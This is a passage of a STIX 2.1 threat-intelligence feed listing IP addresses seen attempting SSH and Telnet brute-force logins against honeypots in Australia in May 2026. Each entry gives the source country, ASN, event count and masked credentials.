      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AL. ASN(s): 42313. Organisation(s): One Albania Sh.a..",
      "id": "indicator--6c8ecc9a-ffe7-4fa8-bbb2-75de428b0978",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.106.225.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:15:11.000Z",
      "valid_until": "2026-06-24T04:15:08.000Z"
    },
    {
      "created": "2026-05-23T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--7dc61b78-e800-4cb6-a9d4-9f03f06629d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.186.77.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:15:10.000Z",
      "valid_until": "2026-06-24T05:15:08.000Z"
    },
    {
      "created": "2026-05-23T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 60404. Organisation(s): The Infrastructure Group B.V.. Usernames observed (masked): v*****r. Passwords observed (masked): 1****6.",
      "id": "indicator--b1aa6826-cb1f-46e5-bbe9-7b3ca8e40cf6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.251.165.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:15:10.000Z",
      "valid_until": "2026-06-24T05:15:08.000Z"
    },
    {
      "created": "2026-05-23T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1eb5818e-a51e-4183-803a-d40a7ae4d0ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.32.24.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:15:10.000Z",
      "valid_until": "2026-06-24T05:15:08.000Z"
    },
    {
      "created": "2026-05-23T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--96316641-46f4-4351-b09a-e3c7ad7b4fc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.138.98.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:15:10.000Z",
      "valid_until": "2026-06-24T05:15:08.000Z"
    },
    {
      "created": "2026-05-23T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--37096b61-1e1a-4bf1-8ef4-efac7f5376ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.248.122.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:15:10.000Z",
      "valid_until": "2026-06-24T05:15:08.000Z"
    },
    {
      "created": "2026-05-23T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--e2cdd74e-c47b-4aa4-9bc1-3f49ac43b017",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.197.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:15:10.000Z",
      "valid_until": "2026-06-24T05:15:08.000Z"
    },
    {
      "created": "2026-05-23T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266506. Organisation(s): PONTO COM PROVEDOR DE INTERNET.",
      "id": "indicator--8e178ca7-ad49-4754-8bb3-297f33c30640",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.244.180.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:15:10.000Z",
      "valid_until": "2026-06-24T05:15:08.000Z"
    },
    {
      "created": "2026-05-23T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--958d76fc-d1cc-4c6b-b7e9-1c91eb5a7ffd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.99.131.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:15:10.000Z",
      "valid_until": "2026-06-24T05:15:08.000Z"
    },
    {
      "created": "2026-05-23T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--51ae30bb-0b6e-4bd2-bfb2-a4b78a35f566",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.172.173.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:15:10.000Z",
      "valid_until": "2026-06-24T05:15:08.000Z"
    },
    {
      "created": "2026-05-23T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--02335238-56e8-4269-8bb1-c33cbd238280",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.235.197.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:15:10.000Z",
      "valid_until": "2026-06-24T05:15:08.000Z"
    },
    {
      "created": "2026-05-23T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--9dd42999-6d4f-499f-8bb0-62cd916f284b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.127.49.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:15:10.000Z",
      "valid_until": "2026-06-24T05:15:08.000Z"
    },
    {
      "created": "2026-05-23T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 43. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--aa4c6091-ba0a-4006-99cd-2e1fde92bfdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.38.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:15:10.000Z",
      "valid_until": "2026-06-24T05:15:08.000Z"
    },
    {
      "created": "2026-05-23T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--311db93c-e8eb-4e17-a689-c4dedce720e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.54.32.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:15:10.000Z",
      "valid_until": "2026-06-24T05:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 329021. Organisation(s): SAVENET-LIMITED.",
      "id": "indicator--7f07faf6-7a2f-4661-800f-0916c71ca796",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.216.116.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--73b2d1b1-91b9-462b-894d-2841d13ae61c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.112.218.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4bd2b149-a904-4c7a-8be2-9d9cf72d4687",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.81.52.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--d7c42d77-33f0-43de-9ade-ab3a0461b0b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.166.46.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--c7473050-a0eb-4771-abe4-e6d85c7958c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.200.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e3cbfd15-9eda-48d5-8a90-02d2e23696bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.239.228.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--deb955d6-8d2f-4241-beb8-cb3124252391",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.51.165.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--14e9fd72-8ec6-413b-9791-b0fd8ed58412",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.228.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--091fc0f5-8154-42ee-a786-0d49258e6758",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.80.139.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2d40617f-0537-48ac-adff-0568d8ce61d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.10.172.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 36866. Organisation(s): JTL.",
      "id": "indicator--0b12253b-1b80-49b3-9861-7baeaab2c1be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.232.152.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 200051. Organisation(s): Rizki Abdul Azis. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--cd50e81c-6d1c-45aa-a094-81020025c895",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.27.62.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--91e61f14-9716-4ea2-8884-550fded17721",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.92.210.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--c2026906-794d-4b74-af0e-caf31cea94c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.127.148.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t, m***l. Passwords observed (masked): 1********6, @******3, F**********3, Q******4, m*******3.",
      "id": "indicator--58669482-ce33-4dbd-81f5-63724d74d198",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.104.144.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d1b5d60f-eae1-45ea-907a-b42dc2b8c32e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.22.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SK. ASN(s): 39574. Organisation(s): Minet Slovakia s.r.o..",
      "id": "indicator--4c4a4c75-96f5-4729-a7f6-e68c00ce54ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.243.68.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2add90e8-8288-47ab-b907-f74e5502b43f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.50.153.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:15:11.000Z",
      "valid_until": "2026-06-24T06:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4e10fe28-67d2-4b6c-acc7-caca7c44f958",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.43.103.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--acff9c24-fd90-40e0-b0cf-967756e95e2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.6.204.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0c2f527c-2537-4b71-b54c-8e69acaf04ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.179.180.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): A*****3.",
      "id": "indicator--625bd388-bca8-4d18-80d0-d1d67c45f19d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.190.251.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:15:11.000Z",
      "valid_until": "2026-06-24T07:15:08.000Z"
    },
    {
      "created": "2026-05-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--14f1976c-2781-458d-8043-a26fb1587998",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
